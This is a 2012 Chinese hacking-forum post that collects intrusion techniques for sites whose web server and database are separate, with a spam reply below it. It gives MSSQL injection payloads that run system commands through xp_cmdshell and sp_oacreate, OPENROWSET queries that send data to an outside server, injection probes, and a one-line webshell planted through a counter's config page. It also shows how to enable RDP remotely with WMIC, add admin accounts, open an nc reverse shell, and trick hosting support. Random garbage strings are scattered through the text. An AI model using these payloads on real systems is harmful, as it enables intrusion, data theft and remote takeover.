找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3805|回复: 1
打印 上一主题 下一主题

站库分离的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:41:29 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
SA点数据库分离技术相关( r/ t  |  J5 A
+ j# ]* Z1 |( L6 a  H
' M) D' d- w+ b+ W  e, s4 i% Z& ~" a3 Y
SA点数据库分离搞法+语句:: L+ ?: I' B& C: D
' S( p+ n. Z# ]% I
注射点不显错,执行下面三条语句页面都返回正常。/ h( {  B3 ~* A$ I- L
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
9 d3 T0 \8 J) s; ]3 Q1 x0 Kand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
, j" S+ `6 C' Wand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')  [8 ^/ B5 I; M8 Y0 N, D
可以列目录,判断系统为2000,web与数据库分离
. T7 d5 d  Z9 I9 V" h1 F0 _遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。; E0 C  e  U) A4 Y
在注射点上执行' M$ n% R( }1 _1 @6 d
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
2 M* X6 J  l' e( ]! B, F+ Z- b* ]页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP4 Z5 f) [( h  u. v- _( O. ~( ]
还有我用NC监听得其他端口都没有得到IP。8 ^4 h( V9 N: O+ q& J0 E* I! @

4 r: L/ e* S5 B, M' j% ^' y5 G5 G通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。
1 D& s% B0 T  X3 t7 r'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--* A1 _. y! t6 Q. L* R, L* R  @
- V9 R" o2 R9 s( |* o( E' P( {0 i
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--
- u/ R3 {9 v2 ]- ]  s4 i
$ r2 i1 e4 k  t现在就猜想是不是数据库是内网而且不能连外网。
5 f# X' N7 ~, W7 u% D( ~$ _" f& T8 F0 F1 k; o# S. Q
2 o2 R; \( Z5 B" D2 K3 w
access导出txt文本代码- D- y4 p5 R8 L% \4 t
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
8 J, N) K# I+ C6 [1 j, l- A0 i1 [4 y" h4 C: m1 C7 r' V! ?5 M2 X# ^! Q. A
% u: W7 S: [  l! f$ _' v

( {' x2 o6 \3 n; E& c- _1 ~( ]7 f1 w自动跳转到指定网站代码头; A/ r2 A& T/ i1 L  _, X( ]3 W6 b
<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>" V, S: p0 ]; @: Z# [' w
3 A1 r! C5 X& A& z

+ E# Y1 X1 i  b* M; s2 I; ?入侵java or jsp站点时默认配置文件路径:
: n" P; s  Y0 _* V\web-inf\web.xml0 q" n* b8 ]$ I: j+ r5 {
tomcat下的配置文件位置:& T3 n' X" V  g4 L' _, h1 ^
\conf\server.xml            (前面加上tomcat路径)! T4 r4 u( c  {& ?) e  l
\Tomcat 5.0\webapps\root\web-inf\struts-config.xml/ c2 c8 I' G! m+ A9 n/ I0 L

( {" B3 |! n1 n, A8 L
9 W( o2 B; j# @
# ^6 @8 k" Y( Z1 f5 B0 x( A检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
' N! V$ G1 m8 M-1%23
4 S2 F! [  J. V4 l6 u> * G# l9 l$ b- k% l
<
% P4 @0 E# s" \% |, r9 L- R1'+or+'1'='1( H. O( f  w1 z
id=8%bf
& v* L: u( V0 [% W+ o8 S5 s8 w" a
* U$ J4 K- Y) d# t; Y- X全新注入点检测试法:
  p6 j1 ?3 Q( I在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。/ }7 i0 _( s3 D' ^! ~

3 I+ V' }& d4 z. ~5 O( K+ B! K2 ^在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。  b0 g/ z. v  z% |7 U

( s8 {) G6 l7 \; }) R/ A* k搜索型注入判断方法:+ m9 D& |$ ]/ V2 L
北京%' and '1'='1' and '%'='" X5 a. x; l& o/ u  U$ Z
北京%' and '1'='2' and '%'='9 G3 T$ z+ [: V8 x2 |; B
+ @5 \% W, h) U- f' n
( ?2 k/ }4 w3 K7 e7 C
COOKIES注入:7 T+ b- ?" H/ G; |4 S6 Y. m

0 Y6 ^' F+ O/ p$ Sjavascript:alert(document.cookie="id="+escape("51 and 1=1"));# C  g6 E+ a9 K9 e& V# A
! Y+ e; X' d! @! W; B( c
2000专业版查看本地登录用户命令:5 V! n3 X7 H5 c7 W7 S; w/ o8 {
net config workstation
9 w( x; Z6 e3 G) o% ]7 t5 _% W9 M& v  ~# e7 t+ u

6 V, p# C+ Z& r4 a% w8 X0 }) {2003下查看ipsec配置和默认防火墙配置命令:
  j. G- _" g: ^0 U! cnetsh firewall show config
. W8 s  f& P$ q2 J9 S3 \4 ynetsh ipsec static show all
5 O  V3 X" h- g' d$ H7 t
3 H4 o2 Q4 `  s7 J" t8 y不指派指定策略命令:
, O9 |+ }3 j' N8 h+ Xnetsh ipsec static set policy name=test assign=n  (test是不指派的策略名)
7 X" }/ R4 G4 R) S/ q* [netsh ipsec static show policy all  显示策略名
  [6 }" H5 c! B  n1 r3 A0 H+ _- H' k6 G$ h
. N( B) B/ x/ K# \$ v% Y* b
猜管理员后台小技巧:& u1 e* m4 t8 A# p. `) o& T4 Y
admin/left.asp
6 ^  f6 D# V. V" c  Y$ ladmin/main.asp) k) ^! ]4 I, _4 G# D
admin/top.asp8 D( `, S7 |. a2 h' N2 }
admin/admin.asp
' R' V' s* I! k  {6 A会现出菜单导航,然后迅雷下载全部链接' V6 F! C; s4 w% |" z# @% U
8 m0 a% b: R( J2 v/ f. [9 O

" _' `& _! N4 D& O社会工程学:+ b8 D. N0 R, G/ p1 U( L
用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
5 i: k* F4 L9 R/ R' ~( N2 h9 R7 k然后去骗客服" |- `, x: u( i# c

% d. q2 L* Q$ D" q, P5 A. d" ^1 j, g- I( a
统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码: 1 H( p0 I# v; {9 H9 ~/ j+ @7 Y
查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">, 5 g$ z" F  e* f8 U) @& r
  存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。
# R* U9 K, x4 D0 y6 P7 R
/ j) Z4 G# D% V) F1 J) V$ C, k/ h1 y$ \5 O

. [7 k# B8 X; G# d' ?( o, d6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)
$ W' \* ^$ d6 O7 \2 b
- X8 Y, t' b* |: p# e6 h) k9 a
1 _0 Z- }! @1 W) M1 u) E5 }% b/ q0 J$ G" }# y' F+ D
CMD加密注册表位置
+ v/ a/ g! e5 @- J. {. d( z9 Z(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
, }2 D7 i" u) Y1 l8 {$ EAutoRun6 H+ |7 Q; i' |- m

1 ^2 M: _9 J; l  E2 H0 H/ \(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor
3 h4 z1 l" Q, L5 r2 Y4 o3 uAutoRun0 n3 C( D* U; {  z

" H% d, D. P7 G! G6 J) R1 g8 N! A0 ~% \8 H6 r/ q
在找注入时搜索Hidden,把他改成test$ v; E- _% ]2 I$ P

" b" b7 y9 O' a# u. S
: l. p& \* ^' Y6 C4 g) _
( g* A- ?% a: [6 }" lmstsc /v:IP /console & |/ W7 ~# l1 p+ N( v8 [

7 o% s: D: o+ W. ~' a2 u9 I7 t4 A- l6 q$ b8 u; X
一句话开3389:
- R6 P4 S1 y1 p+ j3 l( r9 ?$ z( B3 n/ l' f7 ]
最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  & M0 L" y+ y" ?# ?7 f4 ]6 f" _, N
开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
; W- b$ V6 i- N# n  Z  \6 t; ?" j
/ G( s% t1 m0 Q2 j) y2 C
8 p; r1 {! z0 E, f5 K) N知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
5 N% j& |; b6 W& c. Q, fInsert into admin(user,pwd) values('test','test')
4 V' ?1 E  W' G$ H0 J4 Y$ O6 u7 |/ D+ S# T6 o

# U& e2 r9 V; s, h, yNC反弹" _+ k* M- L& u
先在本机执行:     nc -vv -lp 监听的端口     (自己执行)   
: V$ L* t: i% v( z$ K8 ]$ S然后在服务器上执行:  nc -e cmd.exe 自己的IP 和监听的端口 (对方执行); |1 x+ O$ P, i7 l; q& |

# j/ X0 A* k# J9 C8 L
: ~! Y$ y7 W; F- J4 y( i+ i在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
0 q1 H2 X& B$ I6 V
) H9 S1 E$ G# W5 G有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录
  \. F; I) E( q例如:/ }5 G  N, |' b2 P
subst k: d:\www\ 用d盘www目录替代k盘+ j( Q! \5 m# l, r
subst k: /d  解除K盘代替
回复

使用道具 举报

沙发
匿名  发表于 2017-12-20 02:36:51
We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta
回复 支持 反对

使用道具

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表